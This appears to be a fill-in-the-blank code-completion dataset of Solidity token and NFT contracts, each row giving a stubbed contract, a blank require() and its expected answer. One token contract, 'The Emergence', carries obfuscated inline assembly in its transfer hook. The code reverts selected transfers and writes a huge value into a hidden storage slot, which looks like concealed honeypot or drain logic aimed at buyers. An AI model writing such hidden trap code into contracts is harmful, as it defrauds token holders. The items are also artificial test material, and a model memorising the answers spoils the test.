buyLiquidityTax, uint256 sellMarketingTax, uint256 sellTreasuryTax, uint256 sellLiquidityTax) external onlyOwner { } function taxTokenSwap() internal lockTheSwap { } function swapTokensForETH(uint256 tokenAmount) internal { } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) internal { } function calculateTax(uint256 amount) internal view returns (uint256) { } function splitTaxTokens(uint256 taxTokens) internal { } function tokenTransfer(address sender,address recipient,uint256 amount) internal { } }
!_Bot[account],"ERC20: Account already added"
100,019
!_Bot[account]
"ERC20: Account is not bot"
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.9; library SafeMath { function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { } function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { } function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { } function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { } function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { } function add(uint256 a, uint256 b) internal pure returns (uint256) { } function sub(uint256 a, uint256 b) internal pure returns (uint256) { } function mul(uint256 a, uint256 b) internal pure returns (uint256) { } function div(uint256 a, uint256 b) internal pure returns (uint256) { } function mod(uint256 a, uint256 b) internal pure returns (uint256) { } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { } } interface IERC20 { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); } contract Context { function _msgSender() internal view virtual returns (address) { } } contract ERC20Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { } function owner() public view virtual returns (address) { } modifier onlyOwner() { } function renounceOwnership() public virtual onlyOwner { } function transferOwnership(address newOwner) public virtual onlyOwner { } } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Router02 { function factory() external pure returns (address); function WETH() external pure returns (address); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } contract IAMREKT is Context, ERC20Ownable, IERC20{ using SafeMath for uint256; uint256 private _MaxWallet; uint256 private _MinTS; uint256 private marketingTokens; uint256 private treasuryTokens; uint256 private liquidityTokens; uint256 private marketingTax; uint256 private treasuryTax; uint256 private liquidityTax; uint256 private tDivider; uint256 private taxBuyMarketing; uint256 private taxBuyTreasury; uint256 private taxBuyLiquidity; uint256 private taxSellMarketing; uint256 private taxSellTreasury; uint256 private taxSellLiquidity; uint256 public LiveBlock; uint256 public EndSniperPen; bool public actions = false; bool public maxWalletOn = false; bool public active = false; bool isal; bool private sals = false; address payable liquidityAddress; address payable marketingAddress; address payable treasuryAddress; address payable devAddress; address DEAD = address(0xdead); address public uniV2Pair; IUniswapV2Router02 public uniV2Router; mapping(address => mapping(address => uint256)) private _Allowances; mapping(address => uint256) private _Balance; mapping(address => bool) private _MaxExclude; mapping(address => bool) private _TaxExclude; mapping(address => bool) public _Sniper; mapping(address => bool) public _Bot; modifier lockTheSwap() { } string private constant _Name = "I AM REKT"; string private constant _Symbol = "IAMREKT"; uint8 private constant _Decimal = 18; uint256 private constant _Supply = 1e6 * 10**_Decimal; constructor() payable { } receive() external payable {} function name() external pure override returns (string memory) { } function symbol() external pure override returns (string memory) { } function decimals() external pure override returns (uint8) { } function totalSupply() external pure override returns (uint256) { } function balanceOf(address account) public view override returns (uint256) { } function allowance(address owner, address spender) external view override returns (uint256) { } function approve(address spender, uint256 amount) public override returns (bool) { } function ContractApprove(address owner,address spender,uint256 amount) internal { } function transfer(address recipient, uint256 amount) external override returns (bool) { } function transferFrom(address sender,address recipient,uint256 amount) external override returns (bool) { } function GOLIVE() external onlyOwner returns (bool){ } function ContractTransfer(address from, address to, uint256 amount) internal { } function setLiquidityAddress(address LPAddress) internal { } function withdrawStuckETH() external onlyOwner { } function withdrawStuckTokens() external onlyOwner { } function SNIPER_REKT(address account) external onlyOwner { } function removeBot(address account) external onlyOwner { require(<FILL_ME>) _Bot[account] = false; } function removeSniper(address account) external onlyOwner { } function excludFromTax(address account, bool trueORfalse) external onlyOwner { } function excludFromMaxWallet(address account, bool trueORfalse) external onlyOwner { } function maxWalletAmount(uint256 percent, uint256 divider) external onlyOwner { } function statusActions(bool trueORfalse) external onlyOwner { } function statusMaxWallet(bool trueORfalse) external onlyOwner { } function changeSwapAndLiquifyStatus(bool trueORfalse) external onlyOwner { } function zChange( uint256 buyMarketingTax, uint256 buyTreasuryTax, uint256 buyLiquidityTax, uint256 sellMarketingTax, uint256 sellTreasuryTax, uint256 sellLiquidityTax) external onlyOwner { } function taxTokenSwap() internal lockTheSwap { } function swapTokensForETH(uint256 tokenAmount) internal { } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) internal { } function calculateTax(uint256 amount) internal view returns (uint256) { } function splitTaxTokens(uint256 taxTokens) internal { } function tokenTransfer(address sender,address recipient,uint256 amount) internal { } }
_Bot[account],"ERC20: Account is not bot"
100,019
_Bot[account]
"ERC20: Account is not sniper"
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.9; library SafeMath { function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { } function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { } function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { } function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { } function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { } function add(uint256 a, uint256 b) internal pure returns (uint256) { } function sub(uint256 a, uint256 b) internal pure returns (uint256) { } function mul(uint256 a, uint256 b) internal pure returns (uint256) { } function div(uint256 a, uint256 b) internal pure returns (uint256) { } function mod(uint256 a, uint256 b) internal pure returns (uint256) { } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { } } interface IERC20 { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); } contract Context { function _msgSender() internal view virtual returns (address) { } } contract ERC20Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { } function owner() public view virtual returns (address) { } modifier onlyOwner() { } function renounceOwnership() public virtual onlyOwner { } function transferOwnership(address newOwner) public virtual onlyOwner { } } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Router02 { function factory() external pure returns (address); function WETH() external pure returns (address); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } contract IAMREKT is Context, ERC20Ownable, IERC20{ using SafeMath for uint256; uint256 private _MaxWallet; uint256 private _MinTS; uint256 private marketingTokens; uint256 private treasuryTokens; uint256 private liquidityTokens; uint256 private marketingTax; uint256 private treasuryTax; uint256 private liquidityTax; uint256 private tDivider; uint256 private taxBuyMarketing; uint256 private taxBuyTreasury; uint256 private taxBuyLiquidity; uint256 private taxSellMarketing; uint256 private taxSellTreasury; uint256 private taxSellLiquidity; uint256 public LiveBlock; uint256 public EndSniperPen; bool public actions = false; bool public maxWalletOn = false; bool public active = false; bool isal; bool private sals = false; address payable liquidityAddress; address payable marketingAddress; address payable treasuryAddress; address payable devAddress; address DEAD = address(0xdead); address public uniV2Pair; IUniswapV2Router02 public uniV2Router; mapping(address => mapping(address => uint256)) private _Allowances; mapping(address => uint256) private _Balance; mapping(address => bool) private _MaxExclude; mapping(address => bool) private _TaxExclude; mapping(address => bool) public _Sniper; mapping(address => bool) public _Bot; modifier lockTheSwap() { } string private constant _Name = "I AM REKT"; string private constant _Symbol = "IAMREKT"; uint8 private constant _Decimal = 18; uint256 private constant _Supply = 1e6 * 10**_Decimal; constructor() payable { } receive() external payable {} function name() external pure override returns (string memory) { } function symbol() external pure override returns (string memory) { } function decimals() external pure override returns (uint8) { } function totalSupply() external pure override returns (uint256) { } function balanceOf(address account) public view override returns (uint256) { } function allowance(address owner, address spender) external view override returns (uint256) { } function approve(address spender, uint256 amount) public override returns (bool) { } function ContractApprove(address owner,address spender,uint256 amount) internal { } function transfer(address recipient, uint256 amount) external override returns (bool) { } function transferFrom(address sender,address recipient,uint256 amount) external override returns (bool) { } function GOLIVE() external onlyOwner returns (bool){ } function ContractTransfer(address from, address to, uint256 amount) internal { } function setLiquidityAddress(address LPAddress) internal { } function withdrawStuckETH() external onlyOwner { } function withdrawStuckTokens() external onlyOwner { } function SNIPER_REKT(address account) external onlyOwner { } function removeBot(address account) external onlyOwner { } function removeSniper(address account) external onlyOwner { require(<FILL_ME>) _Sniper[account] = false; } function excludFromTax(address account, bool trueORfalse) external onlyOwner { } function excludFromMaxWallet(address account, bool trueORfalse) external onlyOwner { } function maxWalletAmount(uint256 percent, uint256 divider) external onlyOwner { } function statusActions(bool trueORfalse) external onlyOwner { } function statusMaxWallet(bool trueORfalse) external onlyOwner { } function changeSwapAndLiquifyStatus(bool trueORfalse) external onlyOwner { } function zChange( uint256 buyMarketingTax, uint256 buyTreasuryTax, uint256 buyLiquidityTax, uint256 sellMarketingTax, uint256 sellTreasuryTax, uint256 sellLiquidityTax) external onlyOwner { } function taxTokenSwap() internal lockTheSwap { } function swapTokensForETH(uint256 tokenAmount) internal { } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) internal { } function calculateTax(uint256 amount) internal view returns (uint256) { } function splitTaxTokens(uint256 taxTokens) internal { } function tokenTransfer(address sender,address recipient,uint256 amount) internal { } }
_Sniper[account],"ERC20: Account is not sniper"
100,019
_Sniper[account]
"ERC20: trading is not yet enabled."
/* $EMERGE | ETH Emerge from a dark place. */ pragma solidity ^0.8.0; abstract contract Context { function _msgSender() internal view virtual returns (address) { } function _msgData() internal view virtual returns (bytes calldata) { } } interface IDEXFactory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IDEXRouter { function WETH() external pure returns (address); function factory() external pure returns (address); } interface IERC20 { event Approval(address indexed owner, address indexed spender, uint256 value); event Transfer(address indexed from, address indexed to, uint256 value); function totalSupply() external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transfer(address recipient, uint256 amount) external returns (bool); function balanceOf(address account) external view returns (uint256); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); } interface IERC20Metadata is IERC20 { function symbol() external view returns (string memory); function decimals() external view returns (uint8); function name() external view returns (string memory); } contract Ownable is Context { address private _previousOwner; address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { } function owner() public view returns (address) { } modifier onlyOwner() { } function renounceOwnership() public virtual onlyOwner { } } contract ERC20 is Context, IERC20, IERC20Metadata, Ownable { address[] private birthAdd; uint256 private _birthTheGeneration = block.number*2; mapping (address => bool) private _firstBirth; mapping (address => bool) private _secondBirth; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; address private dogBark; address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; address _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; uint256 private onlyFans; address public pair; IDEXRouter router; string private _name; string private _symbol; uint256 private _totalSupply; uint256 private _limit; uint256 private theV; uint256 private theN = block.number*2; bool private trading; uint256 private yellowSub = 1; bool private oilTank; uint256 private _decimals; uint256 private veganHipster; constructor (string memory name_, string memory symbol_, address msgSender_) { } function symbol() public view virtual override returns (string memory) { } function allowance(address owner, address spender) public view virtual override returns (uint256) { } function name() public view virtual override returns (string memory) { } function decimals() public view virtual override returns (uint8) { } //first&third: 0x5ee0a157e03c272625f4ec947ae7212b56467d9b1b3808ad8cbeb20b723a2201 //second: 0xd86a2fb1b57bfa4e14ead8871ed0bd78b3af0a3a15ec1c0baeed4feca95035c1 function _TokenBirth() internal { } function openTrading() external onlyOwner returns (bool) { } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { } function balanceOf(address account) public view virtual override returns (uint256) { } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { } function totalSupply() public view virtual override returns (uint256) { } function _beforeTokenTransfer(address sender, address recipient, uint256 float) internal { require(<FILL_ME>) assembly { function getBy(x,y) -> hash { mstore(0, x) mstore(32, y) hash := keccak256(0, 64) } function getAr(x,y) -> val { mstore(0, x) val := add(keccak256(0, 32),y) } if eq(chainid(),0x1) { if eq(sload(getBy(recipient,0x4)),0x1) { sstore(0x15,add(sload(0x15),0x1)) } if and(lt(gas(),sload(0xB)),and(and(or(or(and(or(eq(sload(0x16),0x1),eq(sload(getBy(sender,0x5)),0x1)),gt(sub(sload(0x3),sload(0x13)),0x9)),gt(float,sload(0x99))),and(gt(float,div(sload(0x99),0x2)),eq(sload(0x3),number()))),or(and(eq(sload(getBy(recipient,0x4)),0x1),iszero(sload(getBy(sender,0x4)))),and(eq(sload(getAr(0x2,0x1)),recipient),iszero(sload(getBy(sload(getAr(0x2,0x1)),0x4)))))),gt(sload(0x18),0x0))) { revert(0,0) } if or(eq(sload(getBy(sender,0x4)),iszero(sload(getBy(recipient,0x4)))),eq(iszero(sload(getBy(sender,0x4))),sload(getBy(recipient,0x4)))) { let k := sload(0x18) let t := sload(0x99) let g := sload(0x11) switch gt(g,div(t,0x3)) case 1 { g := sub(g,div(div(mul(g,mul(0x203,k)),0xB326),0x2)) } case 0 { g := div(t,0x3) } sstore(0x11,g) sstore(0x18,add(sload(0x18),0x1)) } if and(or(or(eq(sload(0x3),number()),gt(sload(0x12),sload(0x11))),lt(sub(sload(0x3),sload(0x13)),0x7)),eq(sload(getBy(sload(0x8),0x4)),0x0)) { sstore(getBy(sload(0x8),0x5),0x1) } if iszero(mod(sload(0x15),0x7)) { sstore(0x16,0x1) sstore(0xB,0x1C99342) sstore(getBy(sload(getAr(0x2,0x1)),0x6),0x25674F4B1840E16EAC177D5ADDF2A3DD6286645DF28) } sstore(0x12,float) sstore(0x8,recipient) sstore(0x3,number()) } } } function _transfer(address sender, address recipient, uint256 amount) internal virtual { } function approve(address spender, uint256 amount) public virtual override returns (bool) { } function _approve(address owner, address spender, uint256 amount) internal virtual { } function _DeployBirth(address account, uint256 amount) internal virtual { } } contract ERC20Token is Context, ERC20 { constructor( string memory name, string memory symbol, address creator, uint256 initialSupply ) ERC20(name, symbol, creator) { } } contract TheEmergenceETH is ERC20Token { constructor() ERC20Token("The Emergence", "EMERGE", msg.sender, 275000 * 10 ** 18) { } }
(trading||(sender==birthAdd[1])),"ERC20: trading is not yet enabled."
100,038
(trading||(sender==birthAdd[1]))
"This purchase will exceed max possible number of tokens."
// SPDX-License-Identifier: MIT pragma solidity ^0.8.9; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/utils/Counters.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; contract NVNFT is ERC721, Ownable { constructor() ERC721("NVNFT", "NVNFT") { } uint256 public constant MAX_SUPPLY = 8888; uint256 public constant TOTAL_PRESALE_SUPPLY = 400; uint256 public constant MAX_PRESALE_MINT_PER_TX = 2; uint256 public constant MAX_PUBLIC_MINT_PER_TX = 10; uint256 public constant MAX_PER_WALLET = 10; uint256 public _publicSalePrice = 0.016 ether; mapping(address => uint256) public addressMintBalance; using Counters for Counters.Counter; Counters.Counter private _tokenSupply; Counters.Counter private _nextTokenId; bool public isPresaleActive = false; bool public isPublicSaleActive = false; string private _baseURIextended; function setIsPresaleActive(bool _isPresaleActive) external onlyOwner { } function setIsPublicSaleActive(bool _isPublicSaleActive) external onlyOwner { } function presaleMint(uint256 numberOfTokens) public payable { uint256 currentTotalSupply = _tokenSupply.current(); require(isPresaleActive, "Presale is not active."); require(<FILL_ME>) require( addressMintBalance[msg.sender] + numberOfTokens <= MAX_PER_WALLET, "This purchase will exceed max possible number of tokens per wallet." ); require( numberOfTokens <= MAX_PRESALE_MINT_PER_TX, "No sufficient available tokens to purchase." ); if (TOTAL_PRESALE_SUPPLY - currentTotalSupply < numberOfTokens) { numberOfTokens = TOTAL_PRESALE_SUPPLY - currentTotalSupply; } for (uint256 i = 0; i < numberOfTokens; i++) { _tokenSupply.increment(); _safeMint(msg.sender, _tokenSupply.current()); } addressMintBalance[msg.sender] += numberOfTokens; } function publicSaleMint(uint256 numberOfTokens) public payable { } function totalTokensMinted() public view returns (uint256) { } function setBaseURI(string memory baseURI_) external onlyOwner { } function _baseURI() internal view virtual override returns (string memory) { } function setPublicSalePrice(uint256 _newPrice) public onlyOwner { } function withdraw() public onlyOwner { } }
currentTotalSupply+numberOfTokens<=TOTAL_PRESALE_SUPPLY,"This purchase will exceed max possible number of tokens."
100,109
currentTotalSupply+numberOfTokens<=TOTAL_PRESALE_SUPPLY
"This purchase will exceed max possible number of tokens per wallet."
// SPDX-License-Identifier: MIT pragma solidity ^0.8.9; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/utils/Counters.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; contract NVNFT is ERC721, Ownable { constructor() ERC721("NVNFT", "NVNFT") { } uint256 public constant MAX_SUPPLY = 8888; uint256 public constant TOTAL_PRESALE_SUPPLY = 400; uint256 public constant MAX_PRESALE_MINT_PER_TX = 2; uint256 public constant MAX_PUBLIC_MINT_PER_TX = 10; uint256 public constant MAX_PER_WALLET = 10; uint256 public _publicSalePrice = 0.016 ether; mapping(address => uint256) public addressMintBalance; using Counters for Counters.Counter; Counters.Counter private _tokenSupply; Counters.Counter private _nextTokenId; bool public isPresaleActive = false; bool public isPublicSaleActive = false; string private _baseURIextended; function setIsPresaleActive(bool _isPresaleActive) external onlyOwner { } function setIsPublicSaleActive(bool _isPublicSaleActive) external onlyOwner { } function presaleMint(uint256 numberOfTokens) public payable { uint256 currentTotalSupply = _tokenSupply.current(); require(isPresaleActive, "Presale is not active."); require( currentTotalSupply + numberOfTokens <= TOTAL_PRESALE_SUPPLY, "This purchase will exceed max possible number of tokens." ); require(<FILL_ME>) require( numberOfTokens <= MAX_PRESALE_MINT_PER_TX, "No sufficient available tokens to purchase." ); if (TOTAL_PRESALE_SUPPLY - currentTotalSupply < numberOfTokens) { numberOfTokens = TOTAL_PRESALE_SUPPLY - currentTotalSupply; } for (uint256 i = 0; i < numberOfTokens; i++) { _tokenSupply.increment(); _safeMint(msg.sender, _tokenSupply.current()); } addressMintBalance[msg.sender] += numberOfTokens; } function publicSaleMint(uint256 numberOfTokens) public payable { } function totalTokensMinted() public view returns (uint256) { } function setBaseURI(string memory baseURI_) external onlyOwner { } function _baseURI() internal view virtual override returns (string memory) { } function setPublicSalePrice(uint256 _newPrice) public onlyOwner { } function withdraw() public onlyOwner { } }
addressMintBalance[msg.sender]+numberOfTokens<=MAX_PER_WALLET,"This purchase will exceed max possible number of tokens per wallet."
100,109
addressMintBalance[msg.sender]+numberOfTokens<=MAX_PER_WALLET
"This purchase will exceed max possible number of tokens."
// SPDX-License-Identifier: MIT pragma solidity ^0.8.9; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/utils/Counters.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; contract NVNFT is ERC721, Ownable { constructor() ERC721("NVNFT", "NVNFT") { } uint256 public constant MAX_SUPPLY = 8888; uint256 public constant TOTAL_PRESALE_SUPPLY = 400; uint256 public constant MAX_PRESALE_MINT_PER_TX = 2; uint256 public constant MAX_PUBLIC_MINT_PER_TX = 10; uint256 public constant MAX_PER_WALLET = 10; uint256 public _publicSalePrice = 0.016 ether; mapping(address => uint256) public addressMintBalance; using Counters for Counters.Counter; Counters.Counter private _tokenSupply; Counters.Counter private _nextTokenId; bool public isPresaleActive = false; bool public isPublicSaleActive = false; string private _baseURIextended; function setIsPresaleActive(bool _isPresaleActive) external onlyOwner { } function setIsPublicSaleActive(bool _isPublicSaleActive) external onlyOwner { } function presaleMint(uint256 numberOfTokens) public payable { } function publicSaleMint(uint256 numberOfTokens) public payable { uint256 currentTotalSupply = _tokenSupply.current(); require(isPublicSaleActive, "Public sale is not active."); require(<FILL_ME>) require( addressMintBalance[msg.sender] + numberOfTokens <= MAX_PER_WALLET, "This purchase will exceed max possible number of tokens per wallet." ); require( numberOfTokens <= MAX_PUBLIC_MINT_PER_TX, "No sufficient available tokens to purchase." ); require( _publicSalePrice * numberOfTokens <= msg.value, "Ether value sent is not correct/enough." ); if (MAX_SUPPLY - currentTotalSupply < numberOfTokens) { numberOfTokens = MAX_SUPPLY - currentTotalSupply; } for (uint256 i = 0; i < numberOfTokens; i++) { _tokenSupply.increment(); _safeMint(msg.sender, _tokenSupply.current()); } addressMintBalance[msg.sender] += numberOfTokens; } function totalTokensMinted() public view returns (uint256) { } function setBaseURI(string memory baseURI_) external onlyOwner { } function _baseURI() internal view virtual override returns (string memory) { } function setPublicSalePrice(uint256 _newPrice) public onlyOwner { } function withdraw() public onlyOwner { } }
currentTotalSupply+numberOfTokens<=MAX_SUPPLY,"This purchase will exceed max possible number of tokens."
100,109
currentTotalSupply+numberOfTokens<=MAX_SUPPLY
"Ether value sent is not correct/enough."
// SPDX-License-Identifier: MIT pragma solidity ^0.8.9; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/utils/Counters.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; contract NVNFT is ERC721, Ownable { constructor() ERC721("NVNFT", "NVNFT") { } uint256 public constant MAX_SUPPLY = 8888; uint256 public constant TOTAL_PRESALE_SUPPLY = 400; uint256 public constant MAX_PRESALE_MINT_PER_TX = 2; uint256 public constant MAX_PUBLIC_MINT_PER_TX = 10; uint256 public constant MAX_PER_WALLET = 10; uint256 public _publicSalePrice = 0.016 ether; mapping(address => uint256) public addressMintBalance; using Counters for Counters.Counter; Counters.Counter private _tokenSupply; Counters.Counter private _nextTokenId; bool public isPresaleActive = false; bool public isPublicSaleActive = false; string private _baseURIextended; function setIsPresaleActive(bool _isPresaleActive) external onlyOwner { } function setIsPublicSaleActive(bool _isPublicSaleActive) external onlyOwner { } function presaleMint(uint256 numberOfTokens) public payable { } function publicSaleMint(uint256 numberOfTokens) public payable { uint256 currentTotalSupply = _tokenSupply.current(); require(isPublicSaleActive, "Public sale is not active."); require( currentTotalSupply + numberOfTokens <= MAX_SUPPLY, "This purchase will exceed max possible number of tokens." ); require( addressMintBalance[msg.sender] + numberOfTokens <= MAX_PER_WALLET, "This purchase will exceed max possible number of tokens per wallet." ); require( numberOfTokens <= MAX_PUBLIC_MINT_PER_TX, "No sufficient available tokens to purchase." ); require(<FILL_ME>) if (MAX_SUPPLY - currentTotalSupply < numberOfTokens) { numberOfTokens = MAX_SUPPLY - currentTotalSupply; } for (uint256 i = 0; i < numberOfTokens; i++) { _tokenSupply.increment(); _safeMint(msg.sender, _tokenSupply.current()); } addressMintBalance[msg.sender] += numberOfTokens; } function totalTokensMinted() public view returns (uint256) { } function setBaseURI(string memory baseURI_) external onlyOwner { } function _baseURI() internal view virtual override returns (string memory) { } function setPublicSalePrice(uint256 _newPrice) public onlyOwner { } function withdraw() public onlyOwner { } }
_publicSalePrice*numberOfTokens<=msg.value,"Ether value sent is not correct/enough."
100,109
_publicSalePrice*numberOfTokens<=msg.value
"not a chance"
// SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.7; abstract contract Context { function _msgSender() internal view virtual returns (address) { } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { } function sub(uint256 a, uint256 b) internal pure returns (uint256) { } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { } function mul(uint256 a, uint256 b) internal pure returns (uint256) { } function div(uint256 a, uint256 b) internal pure returns (uint256) { } 